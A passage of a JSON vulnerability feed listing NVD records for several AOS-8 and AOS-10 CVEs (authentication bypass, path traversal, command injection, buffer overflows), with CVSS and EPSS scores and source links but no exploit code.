2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79868&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79868, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79867","cveId":"CVE-2026-79867","aliases":[],"kind":"vulnerability","title":"Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run...","summary":"Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.","detail":"Authentication bypass vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls and run arbitrary commands on the underlying host. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:59.067Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79867","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00294,"percentile":0.21767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79867","type":"primary","publishedAt":"2026-10-22T19:17:59.067Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79866","cveId":"CVE-2026-79866","aliases":[],"kind":"vulnerability","title":"An unauthenticated path traversal vulnerability exists in the PAPI protocol in AOS-8.","summary":"An unauthenticated path traversal vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation of this vulnerability could allow an unauthenticated adjacent attacker to read, modify, and delete files on the underlying operating system.","detail":"An unauthenticated path traversal vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation of this vulnerability could allow an unauthenticated adjacent attacker to read, modify, and delete files on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.960Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79866","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00242,"percentile":0.15171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79866&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79866","type":"primary","publishedAt":"2026-10-22T19:17:58.960Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79866&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79866, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79865","cveId":"CVE-2026-79865","aliases":[],"kind":"vulnerability","title":"A memory corruption vulnerability in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to achieve remote code execution.","summary":"A memory corruption vulnerability in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"A memory corruption vulnerability in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.850Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79865","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.0035,"percentile":0.28381,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79865&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79865","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79865","type":"primary","publishedAt":"2026-10-22T19:17:58.850Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79865&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79865, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79864","cveId":"CVE-2026-79864","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an unauthenticated adjacent attacker to perform command injection.","summary":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an unauthenticated adjacent attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.","detail":"Command injection vulnerabilities exist in the affected interface of AOS-10 that could allow an unauthenticated adjacent attacker to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.743Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79864","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.01163,"percentile":0.67025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79864&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79864","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79864","type":"primary","publishedAt":"2026-10-22T19:17:58.743Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79864&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79864, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79863","cveId":"CVE-2026-79863","aliases":[],"kind":"vulnerability","title":"Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially...","summary":"Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.630Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79863","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00261,"percentile":0.17701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79863","type":"primary","publishedAt":"2026-10-22T19:17:58.630Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79862","cveId":"CVE-2026-79862","aliases":[],"kind":"vulnerability","title":"Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially...","summary":"Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"Buffer overflow vulnerabilities in the affected interface of AOS-10 or AOS-8 could allow an unauthenticated adjacent attacker to execute arbitrary code by sending specially crafted data to the affected interface. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.520Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79862","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00261,"percentile":0.17701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79862","type":"primary","publishedAt":"2026-10-22T19:17:58.520Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79861","cveId":"CVE-2026-79861","aliases":[],"kind":"vulnerability","title":"There is a command injection vulnerability in AOS-10 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets.","summary":"There is a command injection vulnerability in AOS-10 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.","detail":"There is a command injection vulnerability in AOS-10 that could lead to unauthenticated remote code execution by sending specially crafted PAPI packets. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.407Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79861","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.01556,"percentile":0.74999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79861","type":"primary","publishedAt":"2026-10-22T19:17:58.407Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79860","cveId":"CVE-2026-79860","aliases":[],"kind":"vulnerability","title":"Buffer overflow vulnerabilities exist in an underlying service of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets destined to...","summary":"Buffer overflow vulnerabilities exist in an underlying service of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's access point management protocol) UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"Buffer overflow vulnerabilities exist in an underlying service of AOS-8 that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's access point management protocol) UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.303Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79860","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00744,"percentile":0.5448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79860&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79860","type":"primary","publishedAt":"2026-10-22T19:17:58.303Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79860&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79860, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79859","cveId":"CVE-2026-79859","aliases":[],"kind":"vulnerability","title":"Buffer overflow vulnerabilities exist in the affected interface of AOS-8 that could lead to unauthenticated remote code execution.","summary":"Buffer overflow vulnerabilities exist in the affected interface of AOS-8 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"Buffer overflow vulnerabilities exist in the affected interface of AOS-8 that could lead to unauthenticated remote code execution. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:58.190Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79859","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00693,"percentile":0.52626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79859&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79859","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79859","type":"primary","publishedAt":"2026-10-22T19:17:58.190Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79859&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS 